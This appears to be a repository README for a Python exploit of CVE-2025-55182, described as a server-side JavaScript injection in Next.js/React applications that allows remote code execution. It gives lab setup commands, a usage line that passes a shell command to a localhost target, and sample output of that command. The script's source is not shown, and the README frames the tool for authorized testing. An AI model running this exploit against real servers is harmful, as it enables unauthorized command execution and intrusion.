liamromanis101/cve-2025-55182Python exploit for CVE-2025-55182, a server-side JavaScript injection in Next.js/React enabling remote code execution via malformed multipart form data. Includes lab setup for authorized testing.
Python 3 script that can be used to demonstrate CVE-2025-55182. It exploits a server-side JavaScript injection vulnerability in Next.js/React applications, allowing remote code execution via malformed multipart form data.
⚠️ For educational and authorized testing purposes only.
npx [email protected] sample-app --yes
cd sample app
npm run build
npm run start
pip install requests
python3 exploit_cve_2025_55182.py -u http://localhost:3000 -c "id"
-u Target domain or IP with protocol - http://localhost:3000 -c Command to execute on the server - id
[+] Sending exploit to http://localhost:3000 with command: id
[+] Command Result:
uid=1000(app) gid=1000(app) groups=1000(app)